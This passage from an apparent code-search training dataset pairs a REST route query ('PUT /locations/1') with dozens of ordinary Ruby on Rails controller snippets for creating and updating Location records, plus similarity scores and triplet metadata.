"def create\n @curpg = :admintools\n @location = Location.new(params[:location])\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to :controller => \"locations\", :action => \"index\" }\n format.json { render json: @location, status: :created, location: @location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @locations = Location.paginate(:page => params[:page], :per_page => 30).order('updated_at DESC')\n @location = Location.create(params[:location])\n end",
"def create\n @location = Location.new(\n name: location_params[:name],\n address_line_1: location_params[:lineOne],\n address_line_2: location_params[:lineTwo],\n lat: location_params[:lat],\n lng: location_params[:lng]\n )\n if @location.save\n render json: @location\n else\n render json: {message: 'creation failed'}\n end\n end",
"def create\n @service_location = ServiceLocation.new(service_location_params)\n if @service_location.save\n render json: @service_location, status: :created, location: @service_location\n else\n render json: @service_location.errors, status: :unprocessable_entity\n end \n end",
"def create\n @location = Location.new(params[:location])\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.json { render json: @location, status: :created, location: @location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(params[:location])\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.json { render json: @location, status: :created, location: @location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(params[:location])\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.json { render json: @location, status: :created, location: @location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(params[:location])\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.json { render json: @location, status: :created, location: @location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def coordinates\n location = Location.new(location_params)\n if location.save\n render json: location\n else\n render json: \"ERROR\"\n end\n end",
"def create\n @location = Location.new(params[:location])\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.json { render json: @location, status: :created }\n else\n format.html { redirect_to root_path, notice: 'Please fill in all fields!' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(location_params)\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to locations_path, notice: 'Location was successfully created.' }\n format.json { render :show, status: :created, location: @location }\n else\n format.html { render :new }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.json { render json: @location, status: :created, location: @location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(location_params)\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, flash: {success: \"Successfully created #{@location.name} location!\" }}\n format.json { render :show, status: :created, location: @location }\n else\n format.html { render :new }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(location_params)\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully created.'}\n format.json { render :show, status: :created, location: @location }\n else\n format.html { render :new }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(location_params)\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.json { render :show, status: :created, location: @location }\n else\n format.html { render :new }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(location_params)\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.json { render :show, status: :created, location: @location }\n else\n format.html { render :new }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(location_params)\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.json { render :show, status: :created, location: @location }\n else\n format.html { render :new }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(location_params)\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.json { render :show, status: :created, location: @location }\n else\n format.html { render :new }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(location_params)\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.json { render :show, status: :created, location: @location }\n else\n format.html { render :new }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(location_params)\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.json { render :show, status: :created, location: @location }\n else\n format.html { render :new }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(location_params)\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.json { render :show, status: :created, location: @location }\n else\n format.html { render :new }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(location_params)\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.json { render action: 'show', status: :created, location: @location }\n else\n format.html { render action: 'new' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(location_params)\n @location.save\n respond_with(@location)\n end",
"def create\n @location = Location.new(params[:location])\n\t\n\t\n\t\n respond_to do |format|\n if @location.save\n format.html { redirect_to admin_locations_url(:site => current_site.id), notice: 'Location was successfully created.' }\n format.json { render json: @location, status: :created, location: admin_locations_url(:site => current_site.id) }\n else\n \n \tset_site_entities @location\n \t\n format.html { render action: \"new\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(params[:location])\n \n @location.location = current_location\n @location.location_type = \"shelf\"\n \n respond_to do |format|\n if @location.save\n format.html { redirect_to current_location, notice: 'Location was successfully created.' }\n format.json { render json: @location, status: :created, location: @location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@location = Location.new(params[:location])\n\n\t\trespond_to do |format|\n\t\t\tif @location.save\n\t\t\t\tformat.html { redirect_to @location, notice: 'Location was successfully created.' }\n\t\t\t\tformat.json { render json: @location, status: :created, location: @location }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @location.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n end",
"def create\n @location = Location.new(params[:location])\n if @location.save\n flash[:notice] = 'Location was successfully created.'\n end\n respond_with(@location, location: locations_url) \n end",
"def create\n @location = Location.new(params[:location])\n @location.user_id = current_user.id\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to locations_path, notice: 'Location was successfully created.' }\n format.json { render json: @location, status: :created, location: @location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @processed_location = ProcessedLocation.new(params[:processed_location])\n\n respond_to do |format|\n if @processed_location.save\n format.html { redirect_to @processed_location, notice: 'Processed location was successfully created.' }\n format.json { render json: @processed_location, status: :created, location: @processed_location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @processed_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save_locations(locations)\n File.open('location_data.json', 'w') do |file|\n file.puts locations\n end\n end",
"def create\n @location = @organization.locations.build(params[:location])\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to [@organization, @location], notice: 'Location was successfully created.' }\n format.json { render json: @location, status: :created, location: @location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @loc = current_user.locs.new(params[:loc])\n\n respond_to do |format|\n if @loc.save\n format.html { redirect_to @loc, notice: 'Loc was successfully created.' }\n format.json { render json: @loc, status: :created, location: @loc }\n else\n format.html { render action: \"new\" }\n format.json { render json: @loc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(params[:location])\n\n respond_to do |format|\n if @location.save\n @locations = Location.index_locations\n format.html { redirect_to(@location, :notice => 'Location was successfully created.') }\n format.xml { render :xml => @location, :status => :created, :location => @location }\n format.js\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n format.js\n end\n end\n end",
"def create\n\t\tLocation.create(params[:location])\n\t\tredirect_to locations_path\n\tend",
"def create\n @location = Spree::Location.new(location_params)\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to '/admin/locations', notice: 'Location was successfully created.' }\n format.json { render :show, status: :created, location: @location }\n else\n format.html { render :new }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(location_params)\n#binding.pry\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.json { render :show, status: :created, location: @location }\n else\n format.html { render :new }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(params[:location])\n end",
"def create\n @specific_location = SpecificLocation.new(specific_location_params)\n\n respond_to do |format|\n if @specific_location.save\n format.html { redirect_to @specific_location, notice: 'Specific location was successfully created.' }\n format.json { render :show, status: :created, location: @specific_location }\n else\n format.html { render :new }\n format.json { render json: @specific_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @records_location = RecordsLocation.new(params[:records_location])\n\n respond_to do |format|\n if @records_location.save\n format.html { redirect_to @records_location, notice: 'Records location was successfully created.' }\n format.json { render json: @records_location, status: :created, location: @records_location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @records_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @totem_location = TotemLocation.new(totem_location_params)\n\n respond_to do |format|\n if @totem_location.save\n format.html { redirect_to @totem_location, notice: 'Totem location was successfully created.' }\n format.json { render action: 'show', status: :created, location: @totem_location }\n else\n format.html { render action: 'new' }\n format.json { render json: @totem_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(location_params)\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.json { render :show, status: :created, location: @location }\n format.js\n else\n format.html { render :new }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def create\n @recipe_location = RecipeLocation.new(recipe_location_params)\n\n respond_to do |format|\n if @recipe_location.save\n format.html { redirect_to @recipe_location, notice: 'Recipe location was successfully created.' }\n format.json { render :show, status: :created, location: @recipe_location }\n else\n format.html { render :new }\n format.json { render json: @recipe_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @locationmap = Locationmap.new(params[:locationmap])\n\n respond_to do |format|\n if @locationmap.save\n format.html { redirect_to @locationmap, notice: 'Locationmap was successfully created.' }\n format.json { render json: @locationmap, status: :created, location: @locationmap }\n else\n format.html { render action: \"new\" }\n format.json { render json: @locationmap.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@location = Location.new(location_params)\n\n\t\trespond_to do |format|\n\t\t\tif @location.save\n\t\t\t\tformat.html { redirect_to @location, notice: 'Location was successfully created.' }\n\t\t\t\tformat.json { render :show, status: :created, location: @location }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @location.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @location = Geolocation.new(params[:geolocation])\n @scene = Scene.new(:title => params[:title])\n @location.scenes << @scene\n @location.save\n @scene.save\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully create.'}\n format.json { render json: @location, status: :created, location: @location }\n else\n format.html { render action: \"new\"}\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location_have_location = LocationHaveLocation.new(params[:location_have_location])\n\n respond_to do |format|\n if @location_have_location.save\n format.html { redirect_to @location_have_location, notice: 'Location have location was successfully created.' }\n format.json { render json: @location_have_location, status: :created, location: @location_have_location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @location_have_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t @location = Location.new(location_params)\n\n\t respond_to do |format|\n\t if @location.save\n\t format.html { redirect_to @location, notice: 'location was successfully created.' }\n\t format.json { render json: @location, status: :created, location: @location }\n\t format.js\n\t else\n\t format.html { render action: \"new\" }\n\t format.json { render json: @location.errors, status: :unprocessable_entity }\n\t end\n\t end\n\t end",
"def create\n @maplocation = Maplocation.new(maplocation_params)\n\n respond_to do |format|\n if @maplocation.save\n format.html { redirect_to @maplocation, notice: 'Maplocation was successfully created.' }\n format.json { render :show, status: :created, location: @maplocation }\n else\n format.html { render :new }\n format.json { render json: @maplocation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @resource = Catalogs::Location.new(catalogs_location_params)\n\n respond_to do |format|\n if @resource.save\n index\n\n flash[:success] = t('notices.saved_successfully')\n format.html { redirect_to @resource, notice: 'Location was successfully created.' }\n format.json { render :show, status: :created, location: @resource }\n else\n format.html { render :new }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n format.js\n end\n end",
"def create\n current_user.update(location_params)\n\n if current_user.save\n render action: 'show', status: :ok, location: current_user\n else\n render json: current_user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @slocation = Slocation.new(slocation_params)\n\n respond_to do |format|\n if @slocation.save\n format.html { redirect_to @slocation, notice: 'Story location was successfully created.' }\n format.json { render :show, status: :created, slocation: @slocation }\n else\n format.html { render :new }\n format.json { render json: @slocation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_location = Admin::Location.new(admin_location_params)\n\n respond_to do |format|\n if @admin_location.save\n format.html { redirect_to @admin_location, notice: 'Location was successfully created.' }\n format.json { render :show, status: :created, location: @admin_location }\n else\n format.html { render :new }\n format.json { render json: @admin_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location_url_map = LocationUrlMap.new(params[:location_url_map])\n\n respond_to do |format|\n if @location_url_map.save\n format.html { redirect_to @location_url_map, notice: 'Location url map was successfully created.' }\n format.json { render json: @location_url_map, status: :created, location: @location_url_map }\n else\n format.html { render action: \"new\" }\n format.json { render json: @location_url_map.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user=User.find_by_id(params[:user_id])\n @location = Location.new(params[:location])\n @location.user_id = @user.uid\n @location.name = @user.name\n \n respond_to do |format|\n \n if @location.save\n format.html { redirect_to user_locations_path(@user), notice: 'Location was successfully created.' }\n format.json { render json: @location, status: :created, location: @location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @event_location = EventLocation.new(event_location_params)\n\n respond_to do |format|\n if @event_location.save\n format.html { redirect_to @event_location, notice: 'Event location was successfully created.' }\n format.json { render json: @event_location, status: :created, location: @event_location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(params[:location])\n\t\t@project = Project.find(@location.project_id)\n respond_to do |format|\n if @location.save\n format.html { redirect_to @project, notice: 'Location was successfully created.' }\n format.json { render json: @location, status: :created, location: @location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new location_params\n @location.target = current_user\n respond_to do |format| \n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.json { render :show, status: :created, location: @location }\n else\n format.html { render :new }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def location_primer\n render(json: location_list)\n end",
"def create\n @tutor_location = TutorLocation.new(params[:tutor_location])\n\n respond_to do |format|\n if @tutor_location.save\n format.html { redirect_to @tutor_location, notice: 'Tutor location was successfully created.' }\n format.json { render json: @tutor_location, status: :created, location: @tutor_location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tutor_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def location_params\n params.require(:location).permit(:name, :regions)\n end",
"def create\n @location = Location.new(location_params)\n @location.user_id=current_user.id\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.json { render action: 'show', status: :created, location: @location }\n else\n format.html { render action: 'new' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(params[:location])\n @location.user = current_user\n respond_to do |format|\n if @location.save\n format.html { redirect_to(@location, :notice => 'Location was successfully created.') }\n format.xml { render :xml => @location, :status => :created, :location => @location }\n format.json { render :text => @location.to_json }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n format.json { render :text => @location.to_json }\n end\n end\n end",
"def create\n @locacao = Locacao.new(params[:locacao])\n\n respond_to do |format|\n if @locacao.save\n format.html { redirect_to @locacao, :notice => 'Locacao was successfully created.' }\n format.json { render :json => @locacao, :status => :created, :location => @locacao }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @locacao.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @api_v1_location = Api::V1::Location.new(api_v1_location_params)\n\n respond_to do |format|\n if @api_v1_location.save\n format.html { redirect_to @api_v1_location, notice: 'Location was successfully created.' }\n format.json { render json: { results: @api_v1_location, message: 'Location was successfully created.' } }\n else\n format.html { render :new }\n format.json { render json: { results: @api_v1_location.errors, message: 'Location was NOT successfully created.' } }\n end\n end\n end",
"def locations\n get('locations')\n end",
"def test_construct_location_empty_form\n login('mary')\n post(:create_location,\n :where => '',\n :approved_where => '',\n :location => {\n :display_name => ''\n }\n )\n end",
"def create\n @job_location = JobLocation.new(job_location_params)\n\n \n if @job_location.save\n render json: {job_location: @job_location, status: 'Job location was successfully created.'}, status: :created\n else\n render json: { errors: @job_location.errors.full_messages }, status: :bad_request \n end\n \n end",
"def create\n @location = Location.new(location_params)\n @location.user_id=current_user.id\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location, notice: 'Ubicacion creada correctamente!' }\n format.json { render action: 'show', status: :created, location: @location }\n else\n format.html { render action: 'new' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @record = Location.new(params[:location]) \n @record.entity_id = current_user.entity._id\n\n @record.save!\n respond_to do |format|\n format.html { head :no_content }\n format.json { render json: {} }\n end\n end",
"def create\n @ms_location = MsLocation.new(ms_location_params)\n\n respond_to do |format|\n if @ms_location.save\n format.html { redirect_to @ms_location, notice: 'Ms location was successfully created.' }\n format.json { render action: 'show', status: :created, location: @ms_location }\n else\n format.html { render action: 'new' }\n format.json { render json: @ms_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @popular_location = PopularLocation.new(popular_location_params)\n\n respond_to do |format|\n if @popular_location.save\n format.html { redirect_to @popular_location, notice: 'Popular location was successfully created.' }\n format.json { render :show, status: :created, location: @popular_location }\n else\n format.html { render :new }\n format.json { render json: @popular_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if signed_in?\n @user = current_user\n end\n @location = Location.friendly.find_or_create_by(location_params)\n respond_to do |format|\n if @location.save\n format.html { redirect_to @location}\n format.json { render action: 'show', status: :created, location: @location }\n UserMailer.location_email(@location, @user).deliver_now\n else\n format.html { render action: 'new' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save_location\n new_r = @location.new_record?\n headers ={}\n if @location.save\n headers= ( new_r ? {status: :created, location: api_v1_location_url(id: @location.id, format: (params[:format] || :json) ) } : {status: :ok} )\n end \n respond_with(@location, headers)\n end",
"def create\n @location = Location.new(location_params)\n \n respond_to do |format|\n if @location.save\n #store latest location in session (for testing)\n session[:last_location] = \"#{@location.address}, visited by #{@location.user}\"\n format.html { redirect_to @location, notice: 'Location was successfully created.' }\n format.json { render :show, status: :created, location: @location }\n else\n #flash.now[:error] = \"Could not save location\"\n format.html { render :new }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @catalogs_location = Catalogs::Location.new(catalogs_location_params)\n\n respond_to do |format|\n if @catalogs_location.save\n format.html { redirect_to @catalogs_location, notice: t('.created') }\n format.json { render :show, status: :created, location: @catalogs_location }\n format.js { redirect_to @catalogs_location, notice: t('.created') }\n else\n format.html { render :new }\n format.json { render json: @catalogs_location.errors, status: :unprocessable_entity }\n format.js { render :new }\n end\n end\n end",
"def create\n @catalog_location = Catalog::Location.new(catalog_location_params)\n\n respond_to do |format|\n if @catalog_location.save\n format.html { redirect_to @catalog_location, notice: 'Location was successfully created.' }\n format.json { render :show, status: :created, location: @catalog_location }\n else\n format.html { render :new }\n format.json { render json: @catalog_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(params[:location])\n\n respond_to do |format|\n if @location.save\n GlobalData.reload(:locations)\n format.html { redirect_to(:action => 'new', :notice => I18n.t(\"views.notice.model_create\", :model => Location.model_name.human)) }\n format.xml { render :xml => @location, :status => :created, :location => @location }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n locations = Location.all\n render json: locations\n end",
"def create\n @patient_location = PatientLocation.new(patient_location_params)\n\n respond_to do |format|\n if @patient_location.save\n format.html { redirect_to @patient_location, notice: 'Patient location was successfully created.' }\n format.json { render :show, status: :created, location: @patient_location }\n else\n format.html { render :new }\n format.json { render json: @patient_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n @discounts_on_location = DiscountsOnLocation.new(params[:discounts_on_location])\r\n\r\n respond_to do |format|\r\n if @discounts_on_location.save\r\n format.html { redirect_to @discounts_on_location, notice: 'Discounts on location was successfully created.' }\r\n format.json { render json: @discounts_on_location, status: :created, location: @discounts_on_location }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @discounts_on_location.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\r\n @backend_location = Backend::Location.new(backend_location_params)\r\n\r\n respond_to do |format|\r\n if @backend_location.save\r\n format.html { redirect_to @backend_location, notice: 'Location was successfully created.' }\r\n format.json { render :show, status: :created, location: @backend_location }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @backend_location.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @location = Location.new(params[:location])\n @location.save \n @hide_map = true\n if params[:subcategories] \n params[:subcategories].uniq.each do |subcategory| \n s = Subcategory.where(id: subcategory[:id]).first\n @location.subcategories << s if s\n end\n end\n respond_to do |format|\n if @location.valid?\n format.html { redirect_to @location, :notice => 'Location was successfully created.' }\n format.json { render :json => @location, :status => :created, :location => @location }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @location.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n tag = @user.tags.new(:location => params[:location])\n\n if tag.save\n render :status => 200,\n :json => tag_as_hash(tag).merge(status: 200)\n else\n render :status => 400,\n :json => {\n status: 400,\n message: \"Bad request\",\n errors: tag.errors,\n }\n end\n end",
"def create\n @location = Location.new(location_params)\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to(@location, notice: 'Location was successfully created.') }\n format.xml { render xml: @location, status: :created, location: @location }\n else\n format.html { render action: 'new' }\n format.xml { render xml: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location_mapping = LocationMapping.new(location_mapping_params)\n\n respond_to do |format|\n if @location_mapping.save\n format.html { redirect_to @location_mapping, notice: 'Location mapping was successfully created.' }\n format.json { render :show, status: :created, location: @location_mapping }\n else\n format.html { render :new }\n format.json { render json: @location_mapping.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_json(location, json_data)\n response = RestClient::Request.new(\n :method => :post,\n :url => location,\n :user => $username,\n :password => $password,\n :headers => { :accept => :json,\n :content_type => :json},\n :payload => json_data\n ).execute\n results = JSON.parse(response.to_str)\n end",
"def post_json(location, json_data)\n response = RestClient::Request.new(\n :method => :post,\n :url => location,\n :user => $username,\n :password => $password,\n :headers => { :accept => :json,\n :content_type => :json},\n :payload => json_data\n ).execute\n results = JSON.parse(response.to_str)\n end",
"def create\n @location = Location.new(params[:location])\n\n respond_to do |format|\n if @location.save\n flash[:notice] = 'Location was successfully created.'\n format.html { redirect_to(@location) }\n format.xml { render :xml => @location, :status => :created, :location => @location }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(params[:location])\n\n respond_to do |format|\n if @location.save\n flash[:notice] = 'Location was successfully created.'\n format.html { redirect_to(@location) }\n format.xml { render :xml => @location, :status => :created, :location => @location }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(params[:location])\n\n respond_to do |format|\n if @location.save\n flash[:notice] = 'Location was successfully created.'\n format.html { redirect_to(@location) }\n format.xml { render :xml => @location, :status => :created, :location => @location }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n return unless representsCompany?\n\n @location = Location.new(params[:location])\n\n respond_to do |format|\n if @location.save\n format.html { redirect_to new_job_path, notice: 'Location was successfully created.' }\n format.json { render json: @location, status: :created, location: @location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(location_params)\n\n respond_to do |format|\n if @location.save\n # Log trip_id inside Locations table\n @trip = Trip.find(params[:trip_id])\n @location.trip_id = @trip.id\n @location.save\n\n format.html { redirect_to trip_location_path(@trip, @location), notice: 'Location was successfully created.' }\n format.html { redirect_to trip_locations_path(@trip), notice: 'Location was successfully updated.2' }\n format.json { render :show, status: :created, location: @location }\n else\n format.html { render :new }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save_location\n location = params[:location]\n @location = Location.new(save_location_params)\n @location.save\nend",
"def create\n @location = Location.new(params[:location])\n\n respond_to do |format|\n if @location.save\n flash[:notice] = \"Location #{@location.name} was successfully created.\"\n format.html { redirect_to(:action=>'index') }\n format.xml { render :xml => @location, :status => :created, :location => @location }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.70938414",
"0.70937365",
"0.6989754",
"0.68999434",
"0.6885416",
"0.68796176",
"0.68285424",
"0.6803978",
"0.67866087",
"0.6779879",
"0.6770149",
"0.6770149",
"0.6770149",
"0.6770149",
"0.6769066",
"0.6761569",
"0.67089725",
"0.6707837",
"0.66919154",
"0.6659068",
"0.665904",
"0.665904",
"0.665904",
"0.665904",
"0.665904",
"0.665904",
"0.665904",
"0.66327685",
"0.66169745",
"0.6552203",
"0.65454453",
"0.6522951",
"0.6514886",
"0.650787",
"0.64849716",
"0.6479815",
"0.64649296",
"0.6461977",
"0.6459783",
"0.64589286",
"0.6453823",
"0.6447426",
"0.64454913",
"0.642864",
"0.64280635",
"0.6416754",
"0.6406292",
"0.6393236",
"0.6380853",
"0.6364832",
"0.63587147",
"0.63249105",
"0.63229877",
"0.6306675",
"0.63035554",
"0.62835765",
"0.62835264",
"0.6280161",
"0.6250922",
"0.6245827",
"0.6236594",
"0.62297684",
"0.6229087",
"0.62160414",
"0.62151253",
"0.62137055",
"0.6209478",
"0.6207634",
"0.6200191",
"0.6198896",
"0.6195678",
"0.6186697",
"0.6178054",
"0.6175422",
"0.61753166",
"0.61664283",
"0.61493766",
"0.6147813",
"0.61453044",
"0.61223775",
"0.6115112",
"0.61114115",
"0.610765",
"0.61017364",
"0.608627",
"0.6085862",
"0.60852987",
"0.6082319",
"0.60675627",
"0.60664755",
"0.60659665",
"0.6057198",
"0.6057198",
"0.60509086",
"0.60509086",
"0.60509086",
"0.6048429",
"0.6036865",
"0.6024824",
"0.6015411"
] |
0.64675057
|
36
|
PUT /locations/1 PUT /locations/1.json
|
def update
@location = Location.find(params[:id])
respond_to do |format|
if @location.update_attributes(params[:location])
format.html { redirect_to @location, notice: 'La habitación se ha guardado exitosamente.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @location.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n render json: Location.update(params[\"id\"], params[\"location\"])\n end",
"def update_location(params)\n @client.put(\"#{path}/location\", nil, params, \"Content-Type\" => \"application/json\")\n end",
"def update\r\n @location = Location.find(params[:id])\r\n \r\n respond_to do |format|\r\n if @location.update_attributes(params[:location])\r\n format.json { head :no_content }\r\n else\r\n format.json { render json: @location.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @location = Location.find(params[:id])\n logger.info params[:location].to_json\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, :notice => 'Location was successfully updated.' }\n format.json { render :json => @location, :status => :updated, :location => @location }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @location.errors, :status => :unprocessable_entity }\n end\n end\n end",
